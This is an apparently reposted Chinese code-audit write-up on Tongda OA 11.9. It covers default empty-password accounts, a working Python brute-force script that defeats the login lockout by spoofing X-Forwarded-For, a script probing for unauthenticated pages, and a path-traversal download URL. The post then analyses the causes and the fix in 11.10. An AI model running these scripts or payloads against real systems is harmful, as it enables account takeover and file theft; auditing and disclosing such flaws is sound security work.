tft每日頭條

 > 科技

 > 操作系統審計方案

操作系統審計方案

科技 更新时间:2024-12-05 10:22:54

通達oa 作為攻防演練中出場率較高的一套 OA 系統,決定先從曆史漏洞開始挖掘分析,對通達OA 有一個初步的了解。

下載通達oa 11.9 ,默認安裝地址是 D:\MYOA ,聯網狀态下會自動更新到通達 oa 11.10

安裝成功後,登錄界面如下 默認賬号為 admin 對應密碼為空。

操作系統審計方案(某OA系統審計小記)1

登錄後我們看到其中還有一些默認賬号 lijia wangyun wangde 均可利用空密碼登錄成功

操作系統審計方案(某OA系統審計小記)2

爆破密碼

正常輸入賬号名密碼時,輸入三次錯誤就會禁止10分鐘

操作系統審計方案(某OA系統審計小記)3

操作系統審計方案(某OA系統審計小記)4

我們可以通過代碼方面追究其原因

webroot/inc/td_core.php

操作系統審計方案(某OA系統審計小記)5

$USER_IP 的值可以來自于 X-Forwarded-For

寫個 python 腳本用于爆破用戶名密碼

操作系統審計方案(某OA系統審計小記)6

import requests import sys import re def read_passwd(passwordfile): with open(file = passwordfile, mode='r') as f: passwd = f.read().splitlines() return passwd def Intruder_password(url,username,passwd_list): success_str ="正在進入OA系統,請稍候..." a=b=c=d=0 url = url "/logincheck.php" for passwd in passwd_list: payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd) headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"} response = requests.request("POST", url, data=payload, headers=headers) if(re.search(success_str, response.text)): print("正确的賬号名:{}密碼:{}".format(username,passwd)) else: print("錯誤密碼:{}".format(passwd)) d=d 1 if(d == 255): c = c 1 d = 0 if(c == 255): b = b 1 c = 0 if(b == 255): a = a 1 b =0 def main(): if len(sys.argv) < 4: print("Usage: Intruder_password.py targeturl username passwdfile\n" "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt") exit() url = sys.argv[1] username = sys.argv[2] passwd_list = read_passwd(sys.argv[3]) Intruder_password(url,username,passwd_list) if __name__ == '__main__': main()

  【----幫助網安學習,需要網安學習資料關注我,私信回複“資料”免費獲取----】  ① 網安學習成長路徑思維導圖  ② 60 網安經典常用工具包  ③ 100 SRC漏洞分析報告  ④ 150 網安攻防實戰技術電子書  ⑤ 最權威CISSP 認證考試指南 題庫  ⑥ 超1800頁CTF實戰技巧手冊  ⑦ 最新網安大廠面試題合集(含答案)  ⑧ APP客戶端安全檢測指南(安卓 IOS)

未授權敏感信息洩露

一般我們想要尋找一些高危的漏洞,就是需要尋找一些未授權漏洞,就是在未登錄狀态下也可以執行授權後的相關功能,編寫了一個簡單的腳本,先判斷哪一些網頁是可以在未授權的情況下進行訪問到,然後再做進一步的分析

import os import sys import requests def file_path(url,filefolder): for root, dirs, files in os.walk(filefolder): for f in files: paths = os.path.join(root,f) paths = paths.replace(filefolder,url) paths = paths.replace("\\","/") #print(paths) if(f.endswith(".php")): response = requests.get(paths) # print(str(response.status_code) " " str(len(response.text)) " " paths) print("code:" str(response.status_code) " len:" str(len(response.text)) " url: " paths ) def main(): if len(sys.argv) < 3: print("Usage: file_path.py targeturl filefolder\n" "Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"") exit() url = sys.argv[1] filefolder = sys.argv[2] file_path(url,filefolder) if __name__ == '__main__': main()

http://10.0.18.1/inc/reg.php 洩露版本信息

操作系統審計方案(某OA系統審計小記)7

還有很多可以未授權顯示的頁面,不一一展示了

未授權文件下載

通過不斷測試,也找到了一個比較有價值的漏洞,就是未授權文件下載

構造鍊接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a

操作系統審計方案(某OA系統審計小記)8

  就可以下載到根目錄下的 a.zip 文件

操作系統審計方案(某OA系統審計小記)9

我們從代碼層面分析一下漏洞的成因

webroot/inc/package/down.php

操作系統審計方案(某OA系統審計小記)10

我們看到通過 GET 方法獲取到 id 值,拼接到 $FILE_PATH 中,并沒有做任何過濾,傳到函數 td_download 中

webroot/inc/utility_file.php

操作系統審計方案(某OA系統審計小記)11

如此便實現了任意文件下載,這是在版本 11.09 中 存在的漏洞,在自動更新到 11.10 後 漏洞便被修複了,我們查看一下代碼

webroot/inc/package/down.php 我們看到對傳入的參數進行了過濾,無法再跨越目錄的進行下載

操作系統審計方案(某OA系統審計小記)12

靶場實驗練習推薦:

實驗:代碼審計利器-RIPS實踐(合天網安實驗室)

,

更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!

查看全部

相关科技资讯推荐

热门科技资讯推荐

网友关注

Copyright 2023-2024 - www.tftnews.com All Rights Reserved